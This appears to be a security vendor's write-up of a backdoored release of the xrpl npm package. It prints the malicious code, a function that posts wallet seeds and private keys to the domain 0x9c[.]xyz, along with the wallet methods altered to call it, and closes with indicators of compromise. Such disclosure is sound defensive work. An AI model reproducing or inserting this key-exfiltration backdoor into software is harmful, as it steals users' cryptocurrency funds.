At 21 Apr, 20:53 GMT+0, our system, Aikido Intel started to alert us to five new package version of the xrpl package. It is the official SDK for the XRP Ledger, with more than 140.000 weekly downloads. We quickly confirmed the official XPRL (Ripple) NPM package was compromised by sophisticated attackers who put in a backdoor to steal cryptocurrency private keys and gain access to cryptocurrency wallets. This package is used by hundreds of thousands of applications and websites making it a potentially catastrophic supplychain attack on the cryptocurrency ecosystem.
This is technical breakdown of how we discovered the attack.

New packages released
The user mukulljangid had released five new versions of the library:

What’s interesting is that these versions don’t match the official releases as seen on Github, where latest release is 4.2.0:
.png)
The fact that these packages showed up without a matching release on Github is very suspicious.
The mysterious code
Our system detected some odd code in these new packages. Here’s what it identified in the src/index.ts
file in version 4.2.4
(Which is tagged as latest
):
export { Client, ClientOptions } from './client'
export * from './models'
export * from './utils'
export { default as ECDSA } from './ECDSA'
export * from './errors'
export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'
export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'
export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'
export * from './Wallet/signer'
const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
if (validSeeds.has(seed)) return
validSeeds.add(seed)
fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}
It all looks normal until the end. What’s this checkValidityOfSeed
function? And why is it calling a random domain called 0x9c[.]xyz
? Let's go down the rabbit hole!
What’s the domain?
We first looked at the domain to figure out if it could at ALL be legitimate. We pulled up the whois details for it:

So that’s not great. It’s a brand new domain. Very suspicious.
What does the code do?
The code itself just defines a method, but there are no immediate calls to it. So we dug into whether it’s used anywhere. And yes, it is!
.png)
We see it being called in functions like the constructor, stealing private keys:
public constructor(
publicKey: string,
privateKey: string,
opts: {
masterAddress?: string
seed?: string
} = {},
) {
this.publicKey = publicKey
this.privateKey = privateKey
this.classicAddress = opts.masterAddress
? ensureClassicAddress(opts.masterAddress)
: deriveAddress(publicKey)
this.seed = opts.seed
checkValidityOfSeed(privateKey)
}
And these functions:
private static deriveWallet(
seed: string,
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
const { publicKey, privateKey } = deriveKeypair(seed, {
algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
})
checkValidityOfSeed(privateKey)
return new Wallet(publicKey, privateKey, {
seed,
masterAddress: opts.masterAddress,
})
}
private static fromRFC1751Mnemonic(
mnemonic: string,
opts: { masterAddress?: string; algorithm?: ECDSA },
): Wallet {
const seed = rfc1751MnemonicToKey(mnemonic)
let encodeAlgorithm: 'ed25519' | 'secp256k1'
if (opts.algorithm === ECDSA.ed25519) {
encodeAlgorithm = 'ed25519'
} else {
// Defaults to secp256k1 since that's the default for `wallet_propose`
encodeAlgorithm = 'secp256k1'
}
const encodedSeed = encodeSeed(seed, encodeAlgorithm)
checkValidityOfSeed(encodedSeed)
return Wallet.fromSeed(encodedSeed, {
masterAddress: opts.masterAddress,
algorithm: opts.algorithm,
})
}
public static fromMnemonic(
mnemonic: string,
opts: {
masterAddress?: string
derivationPath?: string
mnemonicEncoding?: 'bip39' | 'rfc1751'
algorithm?: ECDSA
} = {},
): Wallet {
if (opts.mnemonicEncoding === 'rfc1751') {
return Wallet.fromRFC1751Mnemonic(mnemonic, {
masterAddress: opts.masterAddress,
algorithm: opts.algorithm,
})
}
// Otherwise decode using bip39's mnemonic standard
if (!validateMnemonic(mnemonic, wordlist)) {
throw new ValidationError(
'Unable to parse the given mnemonic using bip39 encoding',
)
}
const seed = mnemonicToSeedSync(mnemonic)
checkValidityOfSeed(mnemonic)
const masterNode = HDKey.fromMasterSeed(seed)
const node = masterNode.derive(
opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
)
validateKey(node)
const publicKey = bytesToHex(node.publicKey)
const privateKey = bytesToHex(node.privateKey)
return new Wallet(publicKey, `00${privateKey}`, {
masterAddress: opts.masterAddress,
})
}
public static fromEntropy(
entropy: Uint8Array | number[],
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
const options = {
entropy: Uint8Array.from(entropy),
algorithm,
}
const seed = generateSeed(options)
checkValidityOfSeed(seed)
return Wallet.deriveWallet(seed, {
algorithm,
masterAddress: opts.masterAddress,
})
}
public static fromSeed(
seed: string,
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
checkValidityOfSeed(seed)
return Wallet.deriveWallet(seed, {
algorithm: opts.algorithm,
masterAddress: opts.masterAddress,
})
}
public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
if (!Object.values(ECDSA).includes(algorithm)) {
throw new ValidationError('Invalid cryptographic signing algorithm')
}
const seed = generateSeed({ algorithm })
checkValidityOfSeed(seed)
return Wallet.fromSeed(seed, { algorithm })
}
Why so many version bumps?
As we investigated these packages, we noted that the first two packages released (4.2.1
and 4.2.2)
were different from the others. We did a 3-way diff on versions 4.2.0
(Which is legitimate), 4.2.1
, and 4.2.2
to figure out what was going on. Here’s what we observed:
- Starting from
4.2.1
, thescripts
andprettier
configuration was removed from thepackage.json
. - The first version to insert malicious code into
src/Wallet/index.js
was4.2.2
. - Both
4.2.1
and4.2.2
contained a maliciousbuild/xrp-latest-min.js
andbuild/xrp-latest.js
.
If we compare 4.2.2
to 4.2.3
and 4.2.4
, we see more malicious changes. Previously only the packed JavaScript code had been modified. These also included the malicious changes to the TypeScript version of the code
- The previously shown code changes to
src/index.ts
- The malicious code change to
src/Wallet/index.ts
- Instead of the malicious code having been inserted by hand into the built files, the backdoor inserted into index.ts is called.
From this, we can see that the attacker was actively working on the attack, trying different ways to insert the backdoor while remaining as hidden as possible. Going from manually inserting the backdoor into the built JavaScript code, into putting it into the TypeScript code and then compiling it down into the built version.
Aikido Intel
This malware was detected by Aikido Intel, Aikido's public threat feed that uses LLMs to monitor the public package managers like NPM to identify when malicious code is added to new or existing packages. If you want to be protected from malware and undisclosed vulnerabilities then you can subscribe to the Intel threat feed or sign up for Aikido Security
Indicators of Compromise
To determine if you may have been compromised, these are the indicators:
Package versions
- 4.2.4
- 2.14.2
- 4.2.3
- 4.2.2
- 4.2.1
Domain
- 0x9c[.]xyz